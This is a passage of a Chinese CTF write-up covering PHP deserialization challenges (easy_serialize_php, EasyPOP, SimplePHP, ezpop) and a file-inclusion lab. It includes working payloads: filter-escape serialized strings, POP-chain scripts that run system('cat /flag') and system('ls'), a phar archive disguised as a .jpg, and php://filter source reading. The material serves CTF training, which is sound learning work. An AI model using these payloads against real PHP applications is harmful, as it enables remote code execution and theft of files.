本篇书自上篇。
二十三、easy_serialize_php
1.进行代码审计。
(1)将php、flag、php5等关键字替换为空格
(2)若设置了SESSION,则将其重置掉,对其重新赋值,对POST传参进行键值分离。
(3)对img_path传参进行base64加密,因为sha1加密是不可逆的,所以不能让程序走入else判断。然后对SESSION传参进行了序列化。
(4)当function为show_image的时候,对参数进行反序列化,对img传参进行base64解密。所以要获取flag,得依赖最后一行代码。
2.根据提示当function为phpinfo时会有信息。
3.flag大概率藏在该文件中,接下来就是如何构造payload。这里将下面的东西进行序列化。
4.修改user和function的值。
5.由于会对flag进行过滤,所以值由a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
变成a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a#";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
。由于s:24会读取其后面的24个字符作为值,刚好读到a结束,后面的分号进行了闭合,相当于吞掉了一个属性和值,一共读取三个值,所以在后面加了一个属性和值,最后面的序列化结果就会被丢弃。
6.提示我们flag在d0g3_fllllllag,重新构造payload即可。对/d0g3_fllllllag进行base64编码替换即可。
二十四、EasyPOP
1.进行代码审计。
2.利用链为:sorry::__destruct ->show::__toString ->secret_code::__call ->secret_code::show ->sorry::__get ->fine::__invoke
。
(1)_wakeup
的绕过使用fast_destruct直接让反序列化执行过程终止,提前执行__destruct
函数。
(2)if($this->password==$this->name)
的绕过,由于password会随机重置,要确保两个值永远相等,可以传一个永真表达式$this->name = "jay";$this->password = &$this->name;
。
3.构造payload。
<?php
class fine
{
private $cmd;
private $content;
public function __construct()
{
$this->cmd="system";
$this->content="cat /flag";
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
}
class sorry
{
private $name;
private $password;
public $hint;
public $key;
public function __construct()
{
$this->name = "jay";
$this->password = &$this->name;
}
}
class secret_code
{
protected $code;
public function __construct($next)
{
$this->code = $next;
}
}
$f = new fine();
$sh = new show();
$so1 = new sorry();
$so2 = new sorry();
$so2->key=$f;
$se1 = new secret_code($so2);
$sh->ctf=$se1;
$so1->hint=$sh;
$payload = serialize($so1);
$payload = str_replace('"key";N;}','"key";N;',$payload);
echo urlencode($payload);
二十五、SimplePHP
1.右击查看源代码,提示我们flag在f1ag.php文件里。
2.当去访问f1ag.php文件时,出现了过滤。
3.尝试去查看index.php和upload_file.php、file.php文件。
4.将里面包含的文件也进行读取。
5.进行代码审计。Test::file_get() -> Test::get() ->Test::__get() ->Show::toString() ->Show::__wakeup() ->C1e4r::__destruct()
,根据此顺序构造payload,通过phar协议进行文件读取。
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$a->str=$b;
$b->str['str']=$c;
$c->params['source']='/var/www/html/f1ag.php'; //路径要完整
$phar=new Phar("test.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();
?>
6.上传test.phar文件。要修改其后缀名为jpg。在upload目录下去访问它。
7.对读取到的f1ag.php的内容进行base64解密获得flag。
二十六、ezpop
1.源码如下。
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
2.进行代码审计。整个pop链的顺序为mix::get_flag()->fin::__call()->crow::__invoke()->fin::run()->what::toString()->fin::__destruct()
。要绕过mix类的get_flag函数里的注释符可用\n换行符进行绕过。
<?php
class crow
{
public $v1;
public $v2;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1;
}
$a1=new fin();
$a2=new fin();
$a3=new fin();
$b1=new crow();
$c1=new what();
$d1=new mix();
$d1->m1="\n system('ls');";
$a3->f1=$d1;
$b1->v1=$a3;
$a2->f1=$b1;
$c1->a=$a2;
$a1->f1=$c1;
echo urlencode(serialize($a1));
3.用burp抓包进行post传参(hackbar传入url编码时,可能会将%0A(linux的换行符编码)自动转化为%0D%0A(window的换行符编码)所以在此慎用)。
4.修改传参,查看flag.php文件,却提示我们flag不在flag.php文件里。
5.直接查看所有文件,用cat *命令。
文件包含
一、include 1
1.进入靶场,发现一个tips链接,点击链接,进入如下页面。
2.查看网页源代码,没有任何有用信息。在url上发现有file=flag.php这样一条语句,大概率是有文件包含漏洞,尝试用php伪协议,没有任何显示。
3.继续尝试把flag.php文件转成base64编码输出,因为base64编码中只包含64个可打印字符,当php遇到不可解码的字符时,会选择性的跳过,就能看到源代码。
4.将上述得到的信息进行base64解码,拿到flag。